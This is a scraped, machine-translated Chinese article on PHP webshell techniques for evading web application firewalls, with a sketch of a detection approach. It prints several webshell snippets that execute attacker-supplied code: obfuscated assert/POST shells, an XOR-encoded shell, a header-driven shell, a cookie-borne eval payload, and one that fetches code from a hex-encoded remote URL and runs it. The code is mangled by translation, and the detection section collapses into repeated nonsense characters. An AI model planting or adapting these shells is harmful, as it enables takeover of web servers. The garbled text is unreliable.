PHP有常见的waf webshell和最简单的检测方法
前言
我在Webshell关于杀戮和杀戮的新思维中留下了一个漏洞。当时,我没有找到一个具体的方法来找到所有的变量。后来我通过学习找到了打印所有变量的方法,又重新学习了在PHP webshell下绕过WAF的方法,来验证这个方法是否合理。
如有错误,请指出,非常感谢!再见
在那篇文章中,我突然想到了一个检测webshell的方法,那就是先获取当前文件中的所有变量(如果不理解,可以先阅读上一篇文章),然后根据常规库进行静态检测。
我觉得这个方法虽然会检测不完全(每个检测机制都不能保证全部有效),但是感觉很简单实用,没有那么多深刻的原因。
为了验证检测机制,首先要了解当前PHP webshell绕过WAF的方法。
PHP webshell,它经常绕过WAF。
弦变形
大小写、编码、截取、替换、特殊字符拼接、空、回车、换行、特殊字符串干扰
?PHP $ a=base64 _ decode(' YXNzYXNz 00000 _ _ _ _ ');$a=substr_replace($a,' ert ',3);$ a($ _ POST[' x ']);ucwords()ucfirst()trim()substr _ replace()substr()strtr()strtoupper()strtolower()strtok()str _ rot 13()chr()gzcompresss()、gzdeflate()、gzen code()gzuncress()、gzinflate()、gzdecode()base64 _ encode()base64 _ decode()pack()unpack()自写函数
使用assert()
?php函数测试($ a){ $ a($ _ POST[' x ']);} test(assert);回叫功能
?php call_user_func(assert,array($ _ POST[x]);call _ user _ func _ array()array _ filter()array _ walk()array _ map()
使用魔法方法,析构函数_ _ destroy(),__construct()
?php类测试{ public $ a=function _ _ destrust(){ assert(' $ this-a ');}}$b=新测试;$ B- a=$ _ POST[' x '];使用外部文件
使用curl、fsockopen等。启动网络请求,然后组合文件获取内容
?phperror _ reporting(0);session _ start();标题(' Content-type : text/html;charset=utf-8 ');if(空($ _ SESSION[' API ']))$ _ SESSION[' API ']=substr(file _ get _ contents(sprintf(' % s?%s ',pack('H* ',' 687474703 a2 f2f 777772 e 77326 e 31636 B2 e 636 f 6 d2f 7368656 c6c2f 312 E6 a 7067 '),uniqid()),3649);@preg_replace('~(。*)~ies ',gzuncompress($_SESSION['api']),null);没有性格特征的马
编码,异或,自增
?php$_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`');//$ _=' assert ';$__='_'.(''^']').('/'^'`').(''^']').(' '^']');//$ _ _=' _ POST ';$___=$$__;$_($___[_]);//assert($ _ POST[_]);特殊请求标题
使用getallheaders()
?PHP $ Cai=getallheaders()[' Cai '];$ Dao=getallheaders()[' Dao '];if($cai!=' '和$dao!=' '){ $ Cai=gzun compress(base64 _ decode($ Cai));$ Cai(gzun compress(base64 _ decode($ Dao));}标头(' HTTP/1.1 404未找到');全局变量
使用getenv(),arrag_flip(),get_defined_vars(),session_id()
import request surl=' http://localhost/?' code=eval(hex 2 bin(session _ id(session _ start())));'有效负载=' phpinfo();'。encode(' hex ')cookie={ ' phpsessid ' : payload } r=requests . get(URL=URL,cookie=cookie)print r . content PHP混淆和解密
以phpjiami为例
也就是把所有的函数名和变量名都改成“乱码”,改变任何一个地方都会导致文件无法运行。具体准入:https://www.phpjiami.com/
一种PHP webshell检测方法
目前,我知道的webshell检测方法有:
机器学习检测webshell:混淆、最长词、重合指数、特征、压缩比等动态检测(沙盒)。基于流量模式检测的Webhell:代理反向算法静态匹配检测Webhell:比如D盾Webhell查杀就是基于文件进出来检测的例子展示。
这里以Pjiami的webshell为例,其中2.php就是pjiama的木马
您可以清楚地看到明显的webshell规则,使用静态规则和规则可以轻松检测到这些规则。
简单的检测思想
测试想法:
哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟-哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟哟-我的天啊-鲁仲尼鲁仲尼-你好你好
init _ .pyconfconfinit _ .py-py配置pycorecoreinit _ .py-全部检查。py-data _ MySQL。py-py92;语义_ analysis _ api。py测试init _ .py-file _ MD5 _ move。py-OS _ check。py-随机文件测试。py--我.web >静态973
主配置文件文件不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不,不
乌斯
朱庇特朱庇特朱庇特朱庇特,-你好-你好-你好,云娥与云娥。
版权声明:PHP有常见的waf webshell和最简单的检测方法是由宝哥软件园云端程序自动收集整理而来。如果本文侵犯了你的权益,请联系本站底部QQ或者邮箱删除。